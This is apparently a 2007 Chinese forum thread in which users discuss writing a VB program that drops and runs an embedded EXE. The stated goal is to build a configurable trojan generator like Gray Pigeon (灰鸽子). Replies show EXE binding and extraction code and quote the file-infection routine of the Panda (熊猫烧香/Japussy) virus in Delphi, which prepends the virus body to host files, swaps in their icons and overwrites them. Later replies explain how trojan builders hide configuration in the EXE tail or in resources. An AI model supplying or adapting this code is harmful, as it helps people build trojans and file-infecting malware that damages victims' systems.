从程序中生成Exe文件 ---提问    从程序中生成Exe文件  这篇文章要讨论的是在一个VB程序中如何产生出另一个Exe文件。  要实现这个目的,必须符合以下几个条件:  第一、编写这样的程序时,具备欲生成的Exe文件  第二、事先知道欲生成的Exe文件大小  其实这两个条件可以说不是条件,但确实很重要。  为了叙说方便,将发行的程序称作APP-1.Exe,要生成的文件叫APP-2.Exe,以下是具体步骤:  第一步,准备好APP-2.Exe,这里我使用VB写了一个什么都不做程序,编译成APP-2.Exe。  第二步,右键单击单击APP-2.Exe,选择属性,记下文件大小。注意,应记下以字节为单位的具体数字,而不是多少k。  这样就具备了前边说的两个条件。  第三步,新建工程APP1,新建资源文件加入工程,在资源文件编辑器中添加自定义资源(CUSTOM),资源号使用默认的101。值得注意的是,每个资源号对应的资源项对资源大小的要求是有限制的,我记得时64K,因此如果APP-2.Exe的大小如果大于这个数的话,就要麻烦一些。如果是这样,我们的写另一个程序,把APP-2.Exe一个字节一个字节的读出来,每64K生成一个文件,然后再把这些文件分别写道资源文件的101、102......资源项中,代码也要作相应的修改。  第四步,为APP-1.Exe编写代码,使其读取资源文件的数据,生成APP-1.Exe。  代码如下:  Private Const FILESIZEOFAPP2 = 20480 '我生成的APP-2.Exe大小是20480Byte  Private Sub cmdOK_Click() '单击按钮cmdOK运行代码  Dim APP2() As Byte 'APP2是个Btye类型和数组  Dim Counter As Long  APP2 = LoadResData(101, "CUSTOM") '将自定义资源中101号资源读入数组  '注意,微软的帮助中对加载定义资源的说明有误,硬是资源标识为"CUSTOM"而非数字  If Dir(App.Path & "\APP-2.Exe") <> "" Then '第一次按cmdOK有效  MsgBox App.Path & "\APP-2.Exe 已经存在!"   Exit Sub   End If  Open App.Path & "\APP-2.exe" For Binary As #1 '以二进制方式写(生成)APP-2.Exe到APP-1.Exe所在的目录  For Counter = 0 To FILESIZEOFAPP2 - 1 '注意因为从0 Byte开始因此以文件大小 - 1Byte 为终   Put #1, , APP2(Counter)  Next Counter   Close #1  Shell App.Path & "\APP-2.Exe", vbNormalFocus '运行刚生成的APP-2.Exe  Unload Me  End Sub  这些,我也是能实现的.但是,这个我感觉只能生成自己已经定义好的程序.根本不能定义出自己想的修改的信息啊  比如做一个木马程序,人家要写邮箱,总不能人家生成的,是自己设置起来的吧...如果这样的话,这样的程序...根本说不上生成啊!  大家谁有解决的办法 
意思就是替换字符串,但不知道怎么弄....麻烦知道的高手说一下         作者:883352562007-2-17 14:40 回复此发言       --------------------------------------------------------------------------------   2 回复:从程序中生成Exe文件 ---提问    之前我也有在玩这个东西。  不过就搞了一会搞腻了。。 
Const FILE_SIZE = 114688  '这个是计算器的大小 
Private Sub Command1_Click()  Dim bAppend As Byte, iNum As Long  Dim i As Long, sInfo As String  Open "C:\calc.exe" For Binary Access Read As #1’读取自身  Seek #1, FILE_SIZE + 1'calc.exe的总大小加1  'For iNum = 1 To FileLen(App.Path & "\" & App.EXEName & ".exe") - FILE_SIZE  For iNum = 1 To FileLen("C:\calc.exe") - FILE_SIZE - 2  Get #1, , bAppend  sInfo = sInfo + Chr(bAppend)  Next iNum  Close #1  Open "c:\分离出来的.exe" For Output As #2  Print #2, sInfo  Close #2  End Sub  。。。。。。。。。。。。。。  我之前玩的是这样的一种思路,利用copy /b C:\calc.exe+ 其它小程序.exe 捆绑后的程序.exe  然后再这样再里面分离出来。  可惜我不知道分离后的EXE文件大小是一样的还是运行不了~~  (这样做法类似病毒感染后再感染的病毒中分解出来。)  不过楼主的这个像木马一样生成出的EXE还没怎么研究过。         作者:hrbase2007-2-17 15:01 回复此发言       --------------------------------------------------------------------------------   3 回复:从程序中生成Exe文件 ---提问    Open "C:\calc.exe" For Binary Access Read As #1  这个C:\calc.exe其实是已经是经过copy /b C:\calc.exe+ 其它小程序.exe 捆绑后的程序.exe   后的“捆绑后的程序.exe ”         作者:hrbase2007-2-17 15:03 回复此发言       --------------------------------------------------------------------------------   4 回复:从程序中生成Exe文件 ---提问    这些,我也是能实现的.但是,这个我感觉只能生成自己已经定义好的程序.根本不能定义出自己想的修改的信息啊.  这句话我也想问的....怎么才能办到像灰鸽子那样按自己的设置的生成EXE文件?         作者:60.176.189.*2007-2-17 16:17 回复此发言       --------------------------------------------------------------------------------   5 回复:从程序中生成Exe文件 ---提问    我想做出象灰鸽子,生成木马的那些软件一样的程序.可以自己生成出来的那种....  XX高手知道啊?  知道麻烦说一下啦         作者:883352562007-2-17 16:34 回复此发言       --------------------------------------------------------------------------------   6 回复:从程序中生成Exe文件 ---提问    一般一个文件打开以后,系统就会对它进行保护,阻止应用程序改变它.但有一些动态改变是可以实现的,这要求你的程序运行在0层优先级,也就是系统级,一般应用程序是运行在优先级3上. 
对PE文件结构我还不是太懂.不知道用程序如何改变其中的代码资源,但应该这是可以做的.  否则,想想熊猫那图标,是怎么替换掉的.  鸽子只要将需要改变的东西,加密放在资源,这个程序做为模版来用.当用户生成客户端时,复制出来一个,以相同算法一加密,替换掉这资源,不就没问题了.  之后你加壳什么的随便.  关键是怎么取到的0层,恐怕不勾入系统内核是不成的.         作者:双色心2007-2-17 23:55 回复此发言       --------------------------------------------------------------------------------   7 回复:从程序中生成Exe文件 ---提问    没有这么麻烦吧,6F  进入ring0很简单,方法很多,只是用VB很难  大概看了一下熊猫的delphi代码,文件流的  关键代码:  HeaderSize = 82432; //病毒体的大小   IconOffset = $12EB8; //PE文件主图标的偏移量   //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同   //查找2800000020的十六进制字符串可以找到主图标的偏移量      {   HeaderSize = 38912; //Upx压缩过病毒体的大小   IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量   //Upx 1.24W 用法: upx -9 --8086 Japussy.exe   }   IconSize = $2E8; //PE文件主图标的大小--744字节   IconTail = IconOffset + IconSize; //PE文件主图标的尾部   ID = $44444444; //感染标记   ……  //得到被感染文件的主图标(744字节),存入流    aIcon.ReleaseHandle;    aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);    aIcon.SaveToStream(IcoStream);    finally    aIcon.Free;    end;    SrcStream := TFileStream.Create(FileName, fmOpenRead);    //头文件    HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);    try    //写入病毒体主图标之前的数据    CopyStream(HdrStream, 0, DstStream, 0, IconOffset);    //写入目前程序的主图标    CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);    //写入病毒体主图标到病毒体尾部之间的数据    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);    //写入宿主程序    CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);    //写入已感染的标记    DstStream.Seek(0, 2);    iID := $44444444;    DstStream.Write(iID, 4);    finally    HdrStream.Free;    end;    finally    SrcStream.Free;    IcoStream.Free;    DstStream.SaveToFile(FileName); //替换宿主文件    DstStream.Free;    end;   except;   end;   end;         作者:后代2007-2-18 00:51 回复此发言       --------------------------------------------------------------------------------   8 回复:从程序中生成Exe文件 ---提问    跑题了  不用进入ring0  我记得很久以前,有一个类似于鸽子的木马,把配置文件直接写到了exe文件尾部(很大胆),然后运行exe时,则先读取配置文件然后再根据文件内容运行         作者:后代2007-2-18 00:54 回复此发言       --------------------------------------------------------------------------------   10 回复:从程序中生成Exe文件 ---提问    鸽子黑防版的配置方法。。  没想到  先生成一个服务端  然后释放出来一个reshack.exe 和 resscript.ini 来把配置信息加资源里    
|